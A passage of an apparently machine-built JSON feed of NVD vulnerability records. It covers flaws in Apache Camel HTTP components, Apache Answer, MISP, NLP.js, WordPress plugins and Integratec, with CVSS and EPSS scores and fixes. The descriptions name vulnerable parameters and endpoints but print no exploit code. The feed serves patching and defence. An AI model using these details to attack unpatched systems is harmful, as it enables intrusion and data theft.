opt-out, skipControlHeaders, which defaults to false. Reaching the headers did not always require header injection, because several Camel HTTP consumers populate CamelHttpUri from the request line themselves as a documented reverse-proxy feature. An unresolvable placeholder additionally produced a RuntimeExchangeException whose message echoed the URI, which distinguishes a","detail":"Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty HTTP, Undertow and Vert.x HTTP components.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel HTTP producer families let an inbound message override the endpoint URI through the CamelHttpUri and CamelRestHttpUri headers, and then passed that message-supplied string through CamelContext.resolvePropertyPlaceholders() before using it. Property-placeholder resolution is a configuration-resolution facility, not a URI-parsing step: it reaches operating-system environment variables, JVM system properties, every PropertiesFunction registered on the classpath - including the secret functions - and, through camel-bean, the invocation of a no-argument method on any bean in the registry. Applying it to Exchange content therefore turned a URI string into a configuration- and bean-evaluation context. A route author opted into none of this: a plain static to(\"http://backend/api\") was sufficient. Seven call sites were affected: HttpHelper.createURL and HttpHelper.createMethod in camel-http-common, HttpMethodHelper.createMethod in camel-http, VertxHttpHelper.resolveHttpURI in camel-vertx-http, UndertowHelper.createURL and UndertowHelper.createMethod in camel-undertow, and NettyHttpHelper.createURL in camel-netty-http. The bridgeEndpoint option did not bound the exposure: it suppresses the CamelHttpUri override in the createURL family but not in the createMethod family, so a route using the documented bridging configuration still resolved placeholders taken from the header, and CamelRestHttpUri was consumed before any bridgeEndpoint check in all four components. Only camel-http offered an opt-out, skipControlHeaders, which defaults to false. Reaching the headers did not always require header injection, because several Camel HTTP consumers populate CamelHttpUri from the request line themselves as a documented reverse-proxy feature. An unresolvable placeholder additionally produced a RuntimeExchangeException whose message echoed the URI, which distinguishes a set from an unset configuration key even where no outbound request is made. The behaviour predates the 4.x line. This advisory continues the alignment CAMEL-24282 applied to the toD and enrich dynamic-URI EIPs in 4.22.0, extending the same build-time-resolution contract to the HTTP producer components.\n\n\n\nUsers should upgrade to version 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x releases stream should upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, strip the override headers at the trust boundary before the producer with removeHeader(\"CamelHttpUri\") and removeHeader(\"CamelRestHttpUri\"), or set skipControlHeaders=true on camel-http endpoints, which is the only component offering that option. Note that bridgeEndpoint=true is not a workaround: it suppresses the header override when the outbound URL is built but not when the header is re-parsed for the query string. Percent-encoding the placeholder delimiters is likewise not a mitigation for camel-netty-http, whose binding decodes the request path before the value reaches the header, so proxy or WAF rules written against the raw delimiters do not help there. As defence in depth, ensure consumers exposed to untrusted senders apply a strict inbound HeaderFilterStrategy over the Camel namespace, and resolve secrets through a vault rather than through environment variables or system properties that a placeholder can name.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:19.403Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78164","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00344,"percentile":0.27627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78164","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78164","type":"primary","publishedAt":"2026-10-19T11:17:19.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78164, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112104","cveId":"CVE-2026-112104","aliases":[],"kind":"vulnerability","title":"A flaw has been found in eremef bandcamp-player up to 1.8.33-beta. The impacted element is an unknown function of the file database.ts of the component Remote Control Server.","summary":"A flaw has been found in eremef bandcamp-player up to 1.8.33-beta. The impacted element is an unknown function of the file database.ts of the component Remote Control Server. Executing a manipulation of the argument remoteEnabled can lead to missing authentication. The attack may be launched remotely. Upgrading to version 1.8.34-beta is sufficient to resolve this issue. This patch is called ccba99b66bc61acf46e4a332034799d7452ddea6. Upgrading the affected component is advised.","detail":"A flaw has been found in eremef bandcamp-player up to 1.8.33-beta. The impacted element is an unknown function of the file database.ts of the component Remote Control Server. Executing a manipulation of the argument remoteEnabled can lead to missing authentication. The attack may be launched remotely. Upgrading to version 1.8.34-beta is sufficient to resolve this issue. This patch is called ccba99b66bc61acf46e4a332034799d7452ddea6. Upgrading the affected component is advised.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:16.967Z","updatedAt":"2026-10-22T03:16:35.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112104","asOf":"2026-10-22T03:16:35.563Z"},"epss":{"probability":0.00628,"percentile":0.49811,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112104","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112104","type":"primary","publishedAt":"2026-10-19T11:17:16.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-64943","cveId":"CVE-2026-64943","aliases":[],"kind":"vulnerability","title":"Insertion of Sensitive Information into Log File vulnerability in Apache Answer.","summary":"Insertion of Sensitive Information into Log File vulnerability in Apache Answer.\n\n\n\nThis issue affects Apache Answer: through 2.0.2.\n\nFull API keys are written to application logs on every authenticated request, allowing anyone with log-read access to recover and replay active bearer credentials.\n\n\nUsers are recommended to upgrade to version 2.0.3, which fixes the issue.","detail":"Insertion of Sensitive Information into Log File vulnerability in Apache Answer.\n\n\n\nThis issue affects Apache Answer: through 2.0.2.\n\nFull API keys are written to application logs on every authenticated request, allowing anyone with log-read access to recover and replay active bearer credentials.\n\n\nUsers are recommended to upgrade to version 2.0.3, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:48.047Z","updatedAt":"2026-10-20T19:17:39.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-64943","asOf":"2026-10-20T19:17:39.587Z"},"epss":{"probability":0.00317,"percentile":0.24361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-64943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-64943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64943","type":"primary","publishedAt":"2026-10-19T10:16:48.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-64943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-64943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112188","cveId":"CVE-2026-112188","aliases":[],"kind":"vulnerability","title":"MISP contains a vulnerability in its server settings lookup mechanism that allows an authenticated user to retrieve sensitive configuration data that should have been redacted.","summary":"MISP contains a vulnerability in its server settings lookup mechanism that allows an authenticated user to retrieve sensitive configuration data that should have been redacted.\n\nThe settings lookup function resolves a dotted setting name to a node in the configuration tree. When a branch name (such as Security, MISP, or Plugin) is supplied instead of a specific leaf setting, the function returns the entire sub-tree. Because a branch node does not carry a redaction flag, the redaction check in the settings retrieval endpoint is bypassed, and the full branch contents are returned to the caller. This exposes sensitive values including the security salt, Redis connection passwords, and plugin API keys.\n\nA second endpoint that edits server settings similarly reads the entire configuration store when a branch name is resolved, returning all settings to the caller.\n\nThe impact is disclosure of sensitive server configuration secrets to any user who can access the server settings endpoints.\n\nAffected versions: <2.5.48.","detail":"MISP contains a vulnerability in its server settings lookup mechanism that allows an authenticated user to retrieve sensitive configuration data that should have been redacted.\n\nThe settings lookup function resolves a dotted setting name to a node in the configuration tree. When a branch name (such as Security, MISP, or Plugin) is supplied instead of a specific leaf setting, the function returns the entire sub-tree. Because a branch node does not carry a redaction flag, the redaction check in the settings retrieval endpoint is bypassed, and the full branch contents are returned to the caller. This exposes sensitive values including the security salt, Redis connection passwords, and plugin API keys.\n\nA second endpoint that edits server settings similarly reads the entire configuration store when a branch name is resolved, returning all settings to the caller.\n\nThe impact is disclosure of sensitive server configuration secrets to any user who can access the server settings endpoints.\n\nAffected versions: <2.5.48.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:47.413Z","updatedAt":"2026-10-19T10:16:47.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112188","asOf":"2026-10-19T10:16:47.520Z"},"epss":{"probability":0.00271,"percentile":0.19139,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112188&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112188","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112188","type":"primary","publishedAt":"2026-10-19T10:16:47.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112188&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112188, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112102","cveId":"CVE-2026-112102","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in AXA Group NLP.js 4.27.0. This impacts the function Evaluator.walkFunction of the file packages/evaluator/src/evaluator.js of the component...","summary":"A vulnerability was detected in AXA Group NLP.js 4.27.0. This impacts the function Evaluator.walkFunction of the file packages/evaluator/src/evaluator.js of the component Condition Expression Pipeline. The manipulation of the argument condition results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in AXA Group NLP.js 4.27.0. This impacts the function Evaluator.walkFunction of the file packages/evaluator/src/evaluator.js of the component Condition Expression Pipeline. The manipulation of the argument condition results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:46.780Z","updatedAt":"2026-10-19T17:17:12.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112102","asOf":"2026-10-19T17:17:12.490Z"},"epss":{"probability":0.00312,"percentile":0.23865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112102","type":"primary","publishedAt":"2026-10-19T10:16:46.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111408","cveId":"CVE-2026-111408","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in ExpressTech Quiz And Survey Master quiz-master-next allows Object Injection.This issue affects Quiz And Survey Master: from n/a...","summary":"Deserialization of Untrusted Data vulnerability in ExpressTech Quiz And Survey Master quiz-master-next allows Object Injection.This issue affects Quiz And Survey Master: from n/a through 11.2.7.","detail":"Deserialization of Untrusted Data vulnerability in ExpressTech Quiz And Survey Master quiz-master-next allows Object Injection.This issue affects Quiz And Survey Master: from n/a through 11.2.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:46.257Z","updatedAt":"2026-10-19T18:16:59.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111408","asOf":"2026-10-19T18:16:59.727Z"},"epss":{"probability":0.00352,"percentile":0.28537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111408&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111408","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111408","type":"primary","publishedAt":"2026-10-19T10:16:46.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111408&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111408, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111398","cveId":"CVE-2026-111398","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Path...","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Path Traversal.This issue affects MapSVG: from n/a through 8.16.1.","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Path Traversal.This issue affects MapSVG: from n/a through 8.16.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:45.880Z","updatedAt":"2026-10-19T18:16:59.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111398","asOf":"2026-10-19T18:16:59.630Z"},"epss":{"probability":0.00327,"percentile":0.25562,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111398","type":"primary","publishedAt":"2026-10-19T10:16:45.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110379","cveId":"CVE-2026-110379","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Quiz Maker quiz-maker allows Reflected XSS.This issue affects Quiz...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Quiz Maker quiz-maker allows Reflected XSS.This issue affects Quiz Maker: from n/a through 6.7.1.91.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Quiz Maker quiz-maker allows Reflected XSS.This issue affects Quiz Maker: from n/a through 6.7.1.91.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:45.490Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110379","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00175,"percentile":0.06901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110379","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110379","type":"primary","publishedAt":"2026-10-19T10:16:45.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-13695","cveId":"CVE-2026-13695","aliases":[],"kind":"vulnerability","title":"SQL injection (SQLi) vulnerability—specifically a UNION-based vulnerability—in the Integratec application that affects the sInfo parameter sent via POST to the endpoint...","summary":"SQL injection (SQLi) vulnerability—specifically a UNION-based vulnerability—in the Integratec application that affects the sInfo parameter sent via POST to the endpoint /login/ap_Login.aspx/start. Successful exploitation of this vulnerability could allow an attacker to steal data from the database, such as credentials and user information, and cause errors and partial denial-of-service conditions. Furthermore, this vulnerability could facilitate other types of follow-up attacks, such as data exfiltration or privilege escalation.","detail":"SQL injection (SQLi) vulnerability—specifically a UNION-based vulnerability—in the Integratec application that affects the sInfo parameter sent via POST to the endpoint /login/ap_Login.aspx/start. Successful exploitation of this vulnerability could allow an attacker to steal data from the database, such as credentials and user information, and cause errors and partial denial-of-service conditions. Furthermore, this vulnerability could facilitate other types of follow-up attacks, such as data exfiltration or privilege escalation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T09:17:08.880Z","updatedAt":"2026-10-19T21:03:42.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-13695","asOf":"2026-10-19T21:03:42.880Z"},"epss":{"probability":0.00249,"percentile":0.16043,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-13695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-13695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13695","type":"primary","publishedAt":"2026-10-19T09:17:08.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-13695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-13695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112178","cveId":"CVE-2026-112178","aliases":[],"kind":"vulnerability","title":"MISP contains an access control flaw in the proposal (shadow attribute) visibility logic.","summary":"MISP contains an access control flaw in the proposal (shadow attribute) visibility logic. The authorization check accepted any attribute or object carrying one of the user's sharing groups without verifying the distribution level, and denied the owning organisation access to proposals on its own organisation-only attributes.\n\n- A user belonging to a sharing group could view proposals on attributes or objects with that sharing group, regardless of the attribute's distribution level (levels 1-3 should restrict visibility)\n\n- The owning organisation could not view proposals on its own org-only attributes\n\nSecurity impact: Unauthorized disclosure of proposed attribute changes to users who should not have access based on distribution level restrictions.\n\nAffected: <2.5.48","detail":"MISP contains an access control flaw in the proposal (shadow attribute) visibility logic. The authorization check accepted any attribute or object carrying one of the user's sharing groups without verifying the distribution level, and denied the owning organisation access to proposals on its own organisation-only attributes.\n\n- A user belonging to a sharing group could view proposals on attributes or objects with that sharing group, regardless of the attribute's distribution level (levels 1-3 should restrict visibility)\n\n- The owning organisation could not view proposals on its own org-only attributes\n\nSecurity impact: Unauthorized disclosure of proposed attribute changes to users who should not have access based on distribution level restrictions.\n\nAffected: <2.5.48\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 